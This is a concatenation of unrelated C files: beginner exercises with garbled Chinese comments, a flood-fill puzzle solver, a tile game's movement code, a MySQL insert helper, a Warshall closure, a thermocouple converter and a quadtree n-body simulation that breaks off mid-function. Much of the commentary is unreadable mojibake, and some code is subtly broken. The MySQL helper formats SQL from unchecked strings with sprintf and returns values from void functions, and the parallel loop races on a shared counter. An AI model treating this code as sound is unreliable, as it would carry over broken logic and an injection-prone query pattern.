vars[0] = qID;
vars[1] = key;
vars[2] = client_key;
//create sender/receiver threads
create_thread(&(threads[0]), vars, 1);
create_thread(&(threads[1]), vars, 2);
//start the threads
start_thread(&(threads[0]));
start_thread(&(threads[1]));
return 0;
}
|
C | #define _CRT_SECURE_NO_WARNINGS 1
#include<stdio.h>
int main()
{
//ҲһԶ
int arr[10] = { 0 };
printf("%d\n", sizeof(arr)); //40
printf("%d\n", sizeof(int[10])); //40
int a = 10;
sizeof(int); //Ե
sizeof(a); //Ե
//ôˣʲôأ
//ͣȥʣµIJ
// int arr[10],ô;int [10]
}
#include<stdio.h>
void test()
{
printf("hehe");
}
int main()
{
test(20);
return 0;
}
//ĻϴӡĽheheȻtestʵûвģtestʱǴ˲ûκӰġ
//㴫飬ҽӲҵ顣
//ûвĻûtestмһvoidûвġ
#include<stdio.h>
int main()
{
int a = 0x11223344;
//0x11223344aǸոպõ
//Ϊ11һֽڣ22һֽڣ33һֽڣ44һֽ
//ͨӿת16ƣ۲쵽aֵΪ0x11223344
//ͨڴ濴&aԹ۲쵽aʾΪ44332211
return 0;
}
#include<stdio.h>
int main()
{
int a = -10;
//10000000000000000000000000001010 --ԭ
//11111111111111111111111111110101 --
//11111111111111111111111111110110 --
//fffffff6 ---ת16Ƶ
//ڴ&aʾĽf6ffffff
}
//жϵǴֽСֽ
#include<stdio.h>
int main()
{
int a = 1;
char* pa = (char*)& a;
if (*pa == 1)
printf("С");
else
printf("");
return 0;
}
#include<stdio.h>
int CheckSystem()
{
int a = 1;
char *pa = (char*)& a;
return *pa;
}
int main()
{
int ret = CheckSystem();
if (ret == 1)
printf("С");
else
printf("");
return 0;
}
#include<stdio.h>
int CheckSystem()
{
union Un
{
int i;
char c;
}u;
u.i = 1;
return u.c;
}
int main()
{
int ret = CheckSystem();
if (ret == 1)
printf("С");
else
printf("");
return 0;
}
#include<stdio.h>
struct Stu
{
char name[20];
int age;
};
union Un
{
int i;
char c;
}; //
int main()
{
union Un u = { 0 }; //uΪ
printf("%d\n", sizeof(u)); //Ϊ4
printf("%p\n", &u);
printf("%p\n", &(u.i));
printf("%p\n", &(u.c));
//ĵַһģһģ˵icռͬһռ
//ֽй壬˼ҵijԱҪͬһռ
//ôҸiŶcͻᷢ仯
//ҸcŶiҲᷢ仯
//ciռĸֽеĵһֽڣҲ˴С㷨һֽⷨ
return 0;
}
#include<stdio.h>
int main()
{
char a = -1;
signed char b = -1;
//charsigned charʵһãǰýһһ
//-1IJΪ11111111111111111111111111111111
//浽charΪ11111111
//Ϊ11111110
//ԭΪ10000001 --˵ǰĽΪ-1 -1
//зŵͣλҪǷλ
unsigned char c = -1;
//cڴ 11111111---
//ΪcԸcĸλ0
//00000000000000000000000011111111 --
//Ϊλ0˵Ϊԭͬ
//cĽΪ255 81ĽΪ255
printf("a=%d,b=%d,c=%d", a, b, c);
//-1 -1 255
return 0;
}
#include<stdio.h>
int main()
{
char a = -128;
//10000000000000000000000010000000 ԭ-- -128
//11111111111111111111111101111111
//11111111111111111111111110000000
//ֻܴ8λΪ10000000
//Ҫ
//ʱҪԭķλȫ1
//Ϊ11111111111111111111111110000000 --
//Ϊԭ룬룬ȫͬ
//Ծ͵õ˽4294967168
printf("%u\n", a);
return 0;
}
#include<stdio.h>
int main()
{
int i = -20;
unsigned int j = 10;
printf("%d\n", i + j);
//10000000000000000000000000010100
//11111111111111111111111111101011
//11111111111111111111111111101100
//00000000000000000000000000001010
//11111111111111111111111111110110
//11111111111111111111111111110101
//10000000000000000000000000001010
//-10
return 0;
}
#include<stdio.h>
int main()
{
unsigned int i;
//ŵûи
//жΪi>=0ŵģi>=0
//ԽΪѭ
for (i = 9; i >= 0; i--)
{
printf("%u\n", i);
}
return 0;
}
#include<stdio.h>
int main()
{
char a[1000];
int i;
for (i = 0; i < 1000; i++)
{
a[i] = -1 - i;
}
printf("%d", strlen(a));
//ʲôʱ\0ȾǶ٣οcharķΧĸԲȦ
//ԽΪ255
return 0;
}
#include<stdio.h>
int main()
{
int n = 9;
//9ڴУ洢ʱIJ
//00000000000000000000000000001001
float* pFloat = (float*)& n;
//ҪһΣתһͣôھתһ
//0 00000000 00000000000000000001001
//Ϊ͵Ĵ洢EȫΪ0һӽ0 ԴӡĽΪ0.000000
printf("nֵΪ:%d\n", n);
//εʽ룬εʽȡôȻˣ˵Ϊ9;
printf("*pFloatֵΪ:%f\n", *pFloat);
//ҪһΣתһͣôھתһ
//0 00000000 00000000000000000001001
//Ϊ͵Ĵ洢EȫΪ0һӽ0 ԴӡĽΪ0.000000
*pFloat = 9.0;
printf("nֵΪ:%d\n", n);
//ԸʽȥԸʽ
//Ƚ9дɶƵʽ
//1001.0
//1.001*2^3;
//0 100000010 00100000000000000000000 --
//ԭͬ
//ԽΪ010000001000100000000000000000000 --Ϊ1091567616
printf("*pFloatֵΪ:%f\n", *pFloat);
//ԸʽȥԸǽóDz仯
//Ϊ9.000000
return 0;
}
#include<stdio.h>
int main()
{
int n = 0;
(void)scanf("%d", &n);
if (n % 2 == 0)
printf("ż\n");
else
printf("\n");
}
#include<stdio.h>
int main()
{
int count = 0;
for (int i = 100; i <= 200; i++)
{
if (i % 2 == 1)
{
count++;
printf("%d ", i);
}
}
printf("\n");
printf("%d", count);
return 0;
}
#include<stdio.h>
int main()
{
int age = 0;
(void)scanf("%d", &age);
if (age < 18)
printf("δ\n");
return 0;
}
#include<stdio.h>
int main()
{
int age = 0;
(void)scanf("%d", &age);
if (age < 18)
printf("δ\n");
else
printf("\n");
return 0;
}
#include<stdio.h>
int main()
{
int a = 0;
int b = 2;
if (a == 1)
if (b == 2)
printf("hehe\n");
else
printf("haha\n");
return 0;
}
//δʲôӡ ڶelseڱ͵ڶif
//Դʲôӡûзŵ
#include<stdio.h>
int main()
{
int age = 10;
if (age == 5)
printf("age==5\n");
return 0;
}
//ĻʲôӡΪage=5
#include<stdio.h>
int main()
{
int age = 10;
if (age = 5)
printf("age==5\n");
return 0;
}
//ƵĻϻӡage==5Ϊ5ֵageifֵģԻشӡҪϢ
#include<stdio.h>
int main()
{
int day = 0;
scanf("%d", &day);
switch (day)
{
case 1:
case 2:
case 3:
case 4:
case 5:
printf("weekday\n");
break;
case 6:
case 7:
printf("weekend\n");
break;
default:
printf("ѡ\n");
break;
}
}
#include<stdio.h>
int main()
{
int n = 1;
int m = 2;
switch (n)
{
case 1:m++;
case 2:n++;
case 3:
switch (n)
{//switchǶʹ
case 1: n++;
case 2:m++; n++; break;
}
case 4:m++; break;
default:
break;
}
printf("m = %d, n = %d\n", m, n);
system("pause");
return 0;
}
//m=5n=3
#include<stdio.h>
int main()
{
int i = 1;
while (i <= 10)
{
printf("%d ", i);
i++;
}
return 0;
}
#include<stdio.h>
int main()
{
int i = 1;
while (i <= 10)
{
if (i == 5)
break;
printf("%d ", i);
i++;
}
return 0;
}
//ӡΪ1234
//breakõѭֹͣڵѭõֹѭ
#include<stdio.h>
int main()
{
int i = 1;
while (i <= 10)
{
if (i == 5)
continue;
printf("%d ", i);
i++;
}
return 0;
}
//ӡ12344444...ѭ
#include<stdio.h>
int main()
{
int i = 1;
while (i <= 10)
{
i++;
if (i == 5)
continue;
printf("%d ", i);
}
return 0;
}
//ӡΪ23457891011
//continueãcontinueֹεѭcontinue֮䲻ִС
//EOFΪend of file
#include<stdio.h>
int main()
{
int ch = 0;
while ((ch = getchar()) != EOF)
putchar(ch);
return 0;
}
//ctrl+zͣ
//
#include<stdio.h>
int main()
{
int j = 0;
int count = 0;
for(int i=100;i<=200;i++)
{
for (j = 2; j < i; j++)
{
if (i % j == 0)
break;
}
if (j == i)
{
count++;
printf("%d ", i);
}
}
printf("\n");
printf("%d", count);
return 0;
}
#include<stdio.h>
#include<math.h>
int main()
{
int j = 0;
int count = 0;
for (int i = 100; i <= 200; i++)
{
for (j = 2; j <= sqrt(i); j++)
{
if (i % j == 0)
break;
}
if (j > sqrt(i))
{
count++;
printf("%d ", i);
}
}
printf("\n");
printf("%d", count);
return 0;
}
#include<stdio.h>
int main()
{
int i = 0;
int count = 0;
for (i = 1000; i <= 2000; i++)
{
if (i % 4 == 0 && i % 100 != 0 || i % 400 == 0)
{
printf("%d ", i);
count++;
}
}
printf("\n");
printf("%d", count);
return 0;
}
#include<stdio.h>
int main()
{
int a = 0;
int b = 0;
for (a = 1; a <= 9; a++)
{
for (b = 1; b <= a; b++)
{
printf("%d*%d=%2d ", a, b, a * b);
}
printf("\n");
}
return 0;
}
#include<stdio.h>
int main()
{
int a = 0;
int b = 0;
int temp = 0;
(void)scanf("%d %d", &a, &b);
temp = a;
a = b;
b = temp;
printf("%d %d", a, b);
return 0;
}
#include<stdio.h>
int main()
{
int a = 0;
int b = 0;
(void)scanf("%d %d", &a, &b);
a = a ^ b;
b = a ^ b;
a = a ^ b;
printf("%d %d", a, b);
return 0;
}
//λͬΪ0Ϊ1
//ܽ͵
//㷨
//δĿɶҲȽϲһʼǿ
#include<stdio.h>
int main()
{
int a = 0;
int b = 0;
(void)scanf("%d %d", &a, &b);
a = a + b;
b = a - b;
a = a - b;
printf("%d %d", a, b);
return 0;
}
//ַ⣬abرĻa+bֵaͻ
//͵òҪĽ
//ʮеֵ
#include<stdio.h>
int main()
{
int arr[10] = { 12,34,675,32,75,24,86,23,88,16 };
int max = arr[0];
int sz = sizeof(arr) / sizeof(arr[0]);
int i = 0;
for (i = 1; i < sz; i++)
{
if (arr[i] > max)
{
max = arr[i];
}
}
printf("%d", max);
return 0;
} |
C | // TheDieIsCast.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#define SIZE 51
int Case;
int W, H;
char Picture[SIZE][SIZE];
int Visited[SIZE][SIZE];
int Output[SIZE * SIZE];
int count;
int dx[] = {-1, 0, 1, 0};
int dy[] = {0, 1, 0, -1};
void initCase(){
int i, j;
for (i = 0; i < SIZE; i++)
for (j = 0; j < SIZE; j++)
Visited[i][j] = 0;
count = 0;
}
void readCase(){
int i;
for (i = 0; i < H; i++)
scanf("%s", Picture[i]);
}
int isValidCross(int row, int column){
if (Picture[row][column] == '*' || Picture[row][column] == '.')
return 0;
if (row < 0)
return 0;
if (row == H)
return 0;
if (column < 0) return 0;
if (column == W) return 0;
return 1;
}
void visitCross(int x, int y){
Picture[x][y] = '*';
int i;
for (i = 0; i < 4; i++)
if (isValidCross(x + dx[i], y + dy[i]))
visitCross(x + dx[i], y + dy[i]);
}
int isValidStar(int row, int column){
if (Visited[row][column] || Picture[row][column] == '.')
return 0;
if (row < 0)
return 0;
if (row == H)
return 0;
if (column < 0)
return 0;
if (column == W)
return 0;
return 1;
}
void visitStar(int x, int y){
Visited[x][y] = 1;
if (Picture[x][y] == 'X'){
Output[count]++;
visitCross(x, y);
}
int i;
for (i = 0; i < 4; i++){
if (isValidStar(x + dx[i], y + dy[i]))
visitStar(x + dx[i], y + dy[i]);
}
}
void solveCase(){
int i, j;
for (i = 0, count = 0; i < H; i++){
for (j = 0; j < W; j++){
Output[count] = 0;
if (Picture[i][j] == '.')
Visited[i][j] = 1;
else if (0 == Visited[i][j])
visitStar(i, j);
if (Output[count]) count++;
}
}
/*printf("%d", Output[0]);*/
}
void sortResult(){
int i, j;
for (i = 0; i < count; i++)
for (j = 1; j < count; j++)
if (Output[j] < Output[j - 1]){
int temp = Output[j];
Output[j] = Output[j - 1];
Output[j - 1] = temp;
}
}
void printCase(){
printf("Throw %d\n", Case);
int i;
if (Output[0])
printf("%d", Output[0]);
for (i = 1; i < count; i++){
printf(" %d", Output[i]);
}
printf("\n\n");
}
int main(){
freopen("input.txt", "r", stdin);
Case = 0;
while (2 == scanf("%d %d", &W, &H) && W && H)
{
Case++;
initCase();
readCase();
solveCase();
sortResult();
printCase();
}
return 0;
} |
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* move.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: thsembel <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/06/27 17:40:16 by thsembel #+# #+# */
/* Updated: 2021/07/05 13:20:27 by thsembel ### ########.fr */
/* */
/* ************************************************************************** */
#include "../includes/so_long.h"
void enemy_move(t_game *game)
{
if (game->map[game->e_posx][game->e_posy + 1] == '0' && game->right)
game->e_posy += 1;
else if (game->map[game->e_posx][game->e_posy + 1] != '0' && game->right)
game->right = 0;
else if (game->map[game->e_posx][game->e_posy - 1] == '0' && !game->right)
game->e_posy -= 1;
else if (game->map[game->e_posx][game->e_posy - 1] != '0' && !game->right)
game-> right = 1;
}
void move_up(t_game *game)
{
if (game->map[game->p_posx - 1][game->p_posy] == '1')
return ;
else if (game->map[game->p_posx - 1][game->p_posy] == 'C')
{
game->p_coin += 1;
game->map[game->p_posx - 1][game->p_posy] = '0';
}
if (game->map[game->p_posx - 1][game->p_posy] == 'E')
{
if (game->nb_coin == game->p_coin)
{
game->nb_move += 1;
ft_printf("%stotal moves:%s %d\n", GREEN, NC, game->nb_move);
ft_printf("%sYou Won !%s\n", GREEN, NC);
exit_game(game);
}
}
enemy_move(game);
if (game->p_posx - 1 == game->e_posx && game->p_posy == game->e_posy)
{
ft_printf("%s...Game Over...%s\n", RED, NC);
exit_game(game);
}
game->p_posx -= 1;
game->nb_move += 1;
}
void move_down(t_game *game)
{
if (game->map[game->p_posx + 1][game->p_posy] == '1')
return ;
else if (game->map[game->p_posx + 1][game->p_posy] == 'C')
{
game->p_coin += 1;
game->map[game->p_posx + 1][game->p_posy] = '0';
}
if (game->map[game->p_posx + 1][game->p_posy] == 'E')
{
if (game->nb_coin == game->p_coin)
{
game->nb_move += 1;
ft_printf("%stotal moves:%s %d\n", GREEN, NC, game->nb_move);
ft_printf("%sYou Won !%s\n", GREEN, NC);
exit_game(game);
}
}
enemy_move(game);
if (game->p_posx + 1 == game->e_posx && game->p_posy == game->e_posy)
{
ft_printf("%s...Game Over...%s\n", RED, NC);
exit_game(game);
}
game->p_posx += 1;
game->nb_move += 1;
}
void move_right(t_game *game)
{
if (game->map[game->p_posx][game->p_posy + 1] == '1')
return ;
else if (game->map[game->p_posx][game->p_posy + 1] == 'C')
{
game->p_coin += 1;
game->map[game->p_posx][game->p_posy + 1] = '0';
}
if (game->map[game->p_posx][game->p_posy + 1] == 'E')
{
if (game->nb_coin == game->p_coin)
{
game->nb_move += 1;
ft_printf("%stotal moves:%s %d\n", GREEN, NC, game->nb_move);
ft_printf("%sYou Won !%s\n", GREEN, NC);
exit_game(game);
}
}
enemy_move(game);
if (game->p_posx == game->e_posx && game->p_posy + 1 == game->e_posy)
{
ft_printf("%s...Game Over...%s\n", RED, NC);
exit_game(game);
}
game->p_posy += 1;
game->nb_move += 1;
}
void move_left(t_game *game)
{
if (game->map[game->p_posx][game->p_posy - 1] == '1')
return ;
else if (game->map[game->p_posx][game->p_posy - 1] == 'C')
{
game->p_coin += 1;
game->map[game->p_posx][game->p_posy - 1] = '0';
}
if (game->map[game->p_posx][game->p_posy - 1] == 'E')
{
if (game->nb_coin == game->p_coin)
{
game->nb_move += 1;
ft_printf("%stotal moves:%s %d\n", GREEN, NC, game->nb_move);
ft_printf("%sYou Won !%s\n", GREEN, NC);
exit_game(game);
}
}
enemy_move(game);
if (game->p_posx == game->e_posx && game->p_posy - 1 == game->e_posy)
{
ft_printf("%s...Game Over...%s\n", RED, NC);
exit_game(game);
}
game->p_posy -= 1;
game->nb_move += 1;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <mysql.h>
#include "databases.h"
void database_init(char* server, char* user, char* password, char* database)
{
conn = mysql_init(NULL);
if(!mysql_real_connect(conn,server,user,password,database,0,NULL,0))
{
exit(1);
}
}
void set_table(char* table_name)
{
g_table_name = table_name;
}
void insert_data(float temp, float alti, float press, float light, char* datetime)
{
MYSQL_RES *res;
double _temp = temp;
double _alti = alti;
double _press = press;
double _light = light;
char query[255];
sprintf(query, "INSERT INTO %s (Temp, Light, Press, Alti, Date) VALUES ('%f', '%f', '%f', '%f', '%s')",
g_table_name, temp, light, press, alti, datetime);
if(mysql_query(conn, query))
{
return 1;
}
}
void insert_data_wake(float temp, float alti, float press, float light, char* alarmtime, char* waketime)
{
MYSQL_RES *res;
double _temp = temp;
double _alti = alti;
double _press = press;
double _light = light;
char query[255];
sprintf(query, "INSERT INTO %s (Temp, Light, Press, Alti, Alarmon, Alarmoff) VALUES ('%f', '%f', '%f', '%f', '%s', '%s')",
g_table_name, temp, light, press, alti, alarmtime, waketime);
if(mysql_query(conn, query))
{
return 1;
}
}
void database_deinit()
{
conn = NULL;
}
|
C | /**********************
* Transitive closure *
**********************/
#include "graph.h"
graph g;
int n;
void warshall(graph &g);
void read(){
int i, j;
cin >> n;
g = graph(n);
while(1){
cin >> i >> j;
if( cin.eof() ) break;
g.insert(i, j, 1); g.insert(j, i, 1);
}
}
main(){
read(); /* read graph */
g.reset();
warshall(g);
}
/**
* Warshall
*/
void warshall ( graph &g ){
for ( int y = 0; y < g.size(); y++ ){
for ( int x = 0; x < g.size(); x++ ){
if ( g.m[x][y] ){
for ( int i = 0; i < g.size(); i++ ){
if ( g.m[y][i] ) g.m[x][i] = 1;
}
}
}
}
}
|
C | #include <stdio.h>
#include <math.h>
const long double polinom0 [10] = {0.00L, 1.84949460e2L, -8.00504062e1L, 1.02237430e2L, -1.52248592e2L, 1.88821343e2L, -1.59085941e2L, 8.23027880e1L, -2.34181944e1L, 2.79786260L};
const long double polinom1 [10] = {1.291507177e1L, 1.466298863e2L, -1.534713402e1L, 3.145945973L, -4.163257839e-1L, 3.187963771e-2L, -1.291637500e-3L, 2.183475087e-5L, -1.447379511e-7L, 8.211272125e-9L};
const long double polinom2 [6] = {-8.087801117e1L, 1.621573104e2L, -8.536869453L, 4.719686976e-1L, -1.441693666e-2L, 2.081618890e-4L};
const long double polinom3 [5] = {5.333875126e4L, -1.235892298e4L, 1.092657613e3L, -4.265693686e1L, 6.247205420e-1L};
long double mV;
unsigned char f = 1, mode;
long double thermo_pol (void);
int main (void)
{
while (f)
{
printf ("\nВведи измеренное значение ТЭДС, в mV, 0 для выхода\n\n");
scanf ("%Lf", &mV);
if (mV >= -0.235L && mV <= 18.694L) mode = 0;
if (mV < -0.235L || mV > 18.694L) mode = 1;
if (mV == 0) mode = 2;
switch (mode)
{
case 0:
printf ("\nТемпература= %5.2Lf °С\n\n", thermo_pol ());
break;
case 1:
printf ("\nЗначение вне диапазона\n\n");
break;
case 2:
f = 0;
printf ("\nВыход\n\n");
break;
default:
break;
}
}
}
long double thermo_pol (void)
{
unsigned char i;
long double t, h;
t = 0;
h = 0;
if (mV >= -0.235L && mV < 1.874L)
{
for (i=0;i<10;i++)
{
h = polinom0[i] * pow (mV, i);
t = t + h;
}
}
if (mV >= 1.874L && mV < 10.332L)
{
for (i=0;i<10;i++)
{
h = polinom1[i] * pow (mV, i);
t = t + h;
}
}
if (mV >= 10.332L && mV < 17.536L)
{
for (i=0;i<6;i++)
{
h = polinom2[i] * pow (mV, i);
t = t + h;
}
}
if (mV >= 17.536L && mV <= 18.694L)
{
for (i=0;i<5;i++)
{
h = polinom3[i] * pow (mV, i);
t = t + h;
}
}
return t;
}
|
C | #include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#include <pthread.h>
#include <omp.h>
#include "timer.h"
/*
********************************************************NOTES FOR USE**********************************************************
- run with gcc -o n n-bodyProblem.c -lm -g -fopenmp
- ./n
- The width(x) and length(y) should be a power of 2 just to make life simple
- The representative graph starts at a 1;
*/
struct quad_tree* readInData(char* f, struct quad_tree* q);
void movement(struct quad_tree* q);
struct node_list *nodesInTree;
struct pair {
double x;
double y;
};
typedef struct node {
double mass;
long x;
long y;
double x_force; //force in x dimension
double y_force; //force in y dimension
double x_velocity; //velocity
double y_velocity;
double x_coordinates; //coordinates
double y_coordinates;
} node;
struct pair* get_force(struct quad_tree *q, struct node *n);
struct quad_tree {
struct quad_tree* c0;
struct quad_tree* c1;
struct quad_tree* c2;
struct quad_tree* c3;
struct node* value;
long low_x;
long low_y;
long high_x; // half of width
long high_y; // length
long size;
double mass_x;
double mass_y;
long cent_M_x; // center of mass at
long cent_M_y;
double mass;
struct node_list *quadtrees_nodes; // list of structs which hold the number of nodess + info
};
struct node_list
{
struct node *node_info[960000];// hold list of node structs
int num_nodes; //number of nodes in list
};
// width and length should be the same thing
struct quad_tree* init_quadTree(int low_x, int high_x, int low_y, int high_y) {
struct quad_tree* root = (struct quad_tree*) malloc(sizeof(struct quad_tree));
root->c0 = NULL;
root->c1 = NULL;
root->c2 = NULL;
root->c3 = NULL;
root->low_x = low_x;
root->low_y = low_y;
root->high_x = high_x;
root->high_y = high_y;
root->size = pow((high_x - low_x+1),2);
root->value = NULL;
root->mass_x = 0;
root->mass_y = 0;
root->cent_M_x = 0;
root->cent_M_y = 0;
return(root);
}
/*
inserts the node v into the quad_tree q.
if the insertion is success full returns true
*/
omp_lock_t writelock;
//pthread_spinlock_t splock;
bool insert(struct quad_tree* q, struct node* v) { // re work to deal with x max being /2 at all times
// if the size is one the bottom of the tree has been reached add the point there.
if (q->size == 1) {
if(q->value != NULL)
{
printf("colishion, i need a bucket dady.... %ld\n", q->value->x);
return false;
}
//pthread_spin_lock(&splock);
omp_set_lock(&writelock);
q->value = v;
omp_unset_lock(&writelock);
// pthread_spin_unlock(&splock);
return true;
}
//printf("hold m dick\n");
double w = sqrt(q->size) / 2;
//printf("%f\n", w);
//in quadrent one
if (v->x > q->high_x-w && v->y > q->high_y-w) { //does not hava safty for out of bounds
// if the node is not initiated do so here
if (q->c0 == NULL) {
q->c0 = init_quadTree(q->high_x+1 -w, q->high_x , q->high_y+1-w, q->high_y );
}
return(insert(q->c0, v));
}
//in quadrent two
else if (v->x <= q->high_x-w && v->y > q->high_y-w) { //does not hava safty for out of bounds
// if the node is not initiated do so here
if (q->c1 == NULL) {
q->c1 = init_quadTree( q->low_x, q->high_x-w, q->high_y+1 -w , q->high_y);
}
return(insert(q->c1, v));
}
//in quadrent three
else if (v->x <= q->high_x - w && v->y <= q->high_y - w) { //does not hava safty for out of bounds
// if the node is not initiated do so here
if (q->c2 == NULL) {
q->c2 = init_quadTree(q->low_x, q->high_x - w, q->low_y, q->high_y - w);
}
return(insert(q->c2, v));
}
//in quadrent four
else if (v->x > q->high_x - w && v->y <= q->high_y - w) { //does not hava safty for out of bounds
// if the node is not initiated do so here
if (q->c3 == NULL) {
q->c3 = init_quadTree(q->high_x + 1-w, q->high_x, q->low_y, q->high_y-w);
}
return(insert(q->c3, v));
}
}
/*
This function retreves a node in the treee at the int x and int y.
where q is the quad tree being searched.
*/
struct node* get(struct quad_tree* q, int x, int y) { // add safty for out of bound requests
// if the function is given a tree that is empty
if (q == NULL)
return NULL;
// if the size is equal to one the element is located there
if (q->size == 1)
return q->value;
double w = sqrt(q->size) / 2;
// quadrent 1
if (x > q->high_x-w && y > q->high_y-w) {
if (q->c0 == NULL)
return NULL;
return get(q->c0, x, y);
}
// quadrent 2
else if (x <= q->high_x-w && y > q->high_y-w) {
if (q->c1 == NULL)
return NULL;
return get(q->c1, x, y);
}
// quadrent 3
else if (x <= q->high_x-w && y <= q->high_y-w) {
if (q->c2 == NULL)
return NULL;
return get(q->c2, x, y);
}
// quadrent 4
else if (x > q->high_x-w && y <= q->high_y-w) {
if (q->c3 == NULL)
return NULL;
return get(q->c3, x, y);
}
}
/*****************************
* calculates center of mass and mass at each parent and and leaf
******************************/
bool set_up(struct quad_tree *q){
double c0_cmx = 0, c0_cmy = 0, c0_m = 0;
double c1_cmx = 0, c1_cmy, c1_m = 0;
double c2_cmx = 0, c2_cmy, c2_m = 0;
double c3_cmx = 0, c3_cmy = 0, c3_m = 0;
if(q->size != 1){
if(q->c0 != NULL)
set_up(q->c0);
if(q->c1 != NULL)
set_up(q->c1);
if(q->c2 != NULL)
set_up(q->c2);
if(q->c3 != NULL)
set_up(q->c3);
if(q->value == NULL){
if(q->c0 == NULL && q->c1 == NULL && q->c2 == NULL && q->c3 == NULL ){
return false;
};
if(q->c0 != NULL){
c0_cmx = q->c0->cent_M_x;
c0_cmy = q->c0->cent_M_y;
c0_m = q->c0->mass;
}
if(q->c1 != NULL){
c1_cmx = q->c1->cent_M_x;
c1_cmy = q->c1->cent_M_y;
c1_m = q->c1->mass;
}
if(q->c2 != NULL){
c2_cmx = q->c2->cent_M_x;
c2_cmy = q->c2->cent_M_y;
c2_m = q->c2->mass;
}
if(q->c3 != NULL){
c3_cmx = q->c3->cent_M_x;
c3_cmy = q->c3->cent_M_y;
c3_m = q->c3->mass;
}
q->mass = c0_m + c1_m + c2_m + c3_m;
q->cent_M_x = (c0_cmx*c0_m + c1_cmx*c1_m + c2_cmx*c2_m + c3_cmx*c3_m)/q->mass;
q->cent_M_y = (c0_cmy*c0_m + c1_cmy*c1_m + c2_cmy*c2_m + c3_cmy*c3_m)/q->mass;
//printf("parent\n");
return true;
}
}
q->cent_M_x = q->value->x_coordinates;
q->cent_M_y = q->value->y_coordinates;
q->mass = q->value->mass;
//nodesInTree->node_info = q->value;
return true;
}
bool clear_tree(struct quad_tree *q){
if(q->c0 != NULL){
clear_tree(q->c0);
}
if(q->c1 != NULL){
clear_tree(q->c1);
}
if(q->c2 != NULL){
clear_tree(q->c2);
}
if(q->c3 != NULL){
clear_tree(q->c3);
}
if(q->value != NULL){
free(q->value);
}
free(q);
return true;
}
/* using for testing can change how ever you please*/
void main() {
struct quad_tree* Q = init_quadTree(-536870911, 536870912, -536870911, 536870912);
nodesInTree = (struct node_list*) malloc(sizeof(struct node_list));
double start, finish, elapsed;
//Q = readInData("results.txt", Q);
Q = readInData("test.txt", Q);
set_up(Q);
GET_TIME(start);
for (int i = 0; i < 5; ++i){
movement(Q);
printf("it worked?\n");
}
GET_TIME(finish);
elapsed = finish - start;
printf("The code to be timed took %e seconds\n", elapsed);
}
// read in data for File f and insert data into quadtree q.
// data formate is absolute magnitude parameter, perihelion distance, longitude of the ascending node, semi-major axis
struct quad_tree* readInData(char* f, struct quad_tree* q) {
char* value = malloc(200);
FILE* inFile = fopen(f, "r");
FILE* outx = fopen("outx", "w");
FILE* outy = fopen("outy", "w");
int k = 0;
if (!inFile)
return NULL;
while (fgets(value, 150, inFile)) {
int i = 0;
char * token = strtok(value, ",");
struct node* val = (struct node*) malloc(sizeof(struct node));
struct node* val2 = (struct node*) malloc(sizeof(struct node));
float mass;
float hold_abs;
double hold_dis;
double hold_angle;
double velocity;
double a;
double e;
double tp;
double period;
double r;
while( token != NULL ) {
if(i == 0){ // for absolute magnitude
hold_abs = strtod(token, NULL);
}
else if(i == 1){ // for perihelion distance
hold_dis = strtod(token, NULL);
}
else if(i == 2){ // for longitude of the assending node
hold_angle = strtod(token, NULL);
}
else if(i == 3){ // for semi-major axis
a = strtod(token, NULL);
}
token = strtok(NULL, ",");
++i;
}
// calculate mass of body
val->mass = 4.83*(pow(10,(hold_abs-4.83)/-2.5));
// calculate x position of body
val->x = (hold_dis*1000000)*cos(hold_angle);
val->y = (hold_dis*1000000)*sin(hold_angle);
val->x_coordinates = (hold_dis)*cos(hold_angle);
val->y_coordinates = (hold_dis)*sin(hold_angle);
//calculate velocity of body relative to the sun at perihelion distance
velocity = sqrt(6.67408*pow(10, -11)*1.989*pow(10,30)*((2/(hold_dis*1.496*pow(10,11))-(1/(a*1.496*pow(10,11))))));
//calculate (x,y) components of velocity
val->x_velocity = velocity*cos(hold_angle);
val->y_velocity = velocity*sin(hold_angle);
k++;
if(val->mass == 0)
printf("WHY");
if(insert(q, val) != false){
// add node to list of nodes
nodesInTree->num_nodes = k;
nodesInTree->node_info[k-1] = val;
}
// insert in to tree
}
fclose(inFile);
return q;
}
/**************************************
This function takes in a quadtree struct, goes down the quadtree and finds the force, mass, velocity
calculates new position
-this is where parallelism happens
***************************************/
void movement(struct quad_tree* q){
struct node_list *hold_list = (struct node_list*) malloc(sizeof(struct node_list));
struct quad_tree *hold_tree = init_quadTree(-536870911, 536870912, -536870911, 536870912);
int j = 0;
omp_init_lock(&writelock);// lock to provent over writhing data
// calculations are parallelised
#pragma omp parallel for num_threads(4) // this valuse can be modified inorder to increase treads**************************
for (int i = 0; i < nodesInTree->num_nodes; ++i){
printf("%d\n",i);
struct node *hold = nodesInTree->node_info[i];
struct node *hold1 = (struct node*) malloc(sizeof(struct node));
//if(hold->mass != 0){ // error check
hold1->mass = hold->mass; // set ne nodes ma
double x_node_force;
double y_node_force;
struct pair* forces = get_force(q, hold);
// compute force on node
forces = get_force(q, hold);
x_node_force = forces->x;
y_node_force = forces->y;
free(forces);
//get changes in velocity
hold1->x_velocity = x_node_force/hold1->mass;
hold1->y_velocity = y_node_force/hold1->mass;
//get changes in position
hold1->x_coordinates = hold->x_coordinates+hold1->x_velocity;
hold1->y_coordinates = hold->y_coordinates+hold1->y_velocity;
hold1->x = hold1->x_coordinates*1000000;
hold1->y = hold1->y_coordinates*1000000;
// add to new tree
if (insert(hold_tree, hold1) != false){
//add to new list
hold_list->node_info[j] = hold1;
hold_list->num_nodes = j + 1;
++j;
}
//}
}
//relase memory
for(int i = 0; i < nodesInTree->num_nodes; ++i)
free(nodesInTree->node_info[i]);
free(nodesInTree);
free(q);
nodesInTree = hold_list;
q = hold_tree;
set_up(q);
omp_destroy_lock(&writelock);
return;
}
struct pair* get_force(struct quad_tree *q, struct node *n){
double force_x = 0;
double force_y = 0;
struct pair *ret = (struct pair*) malloc(sizeof(struct pair));
// this when the quad tree block is close enought to the partical or there is no more children
if(q->size == 1 || q->size/sqrt(pow(q->cent_M_x - n->x_coordinates, 2) + pow(q->cent_M_y - n->y_coordinates, 2)) <= 1){
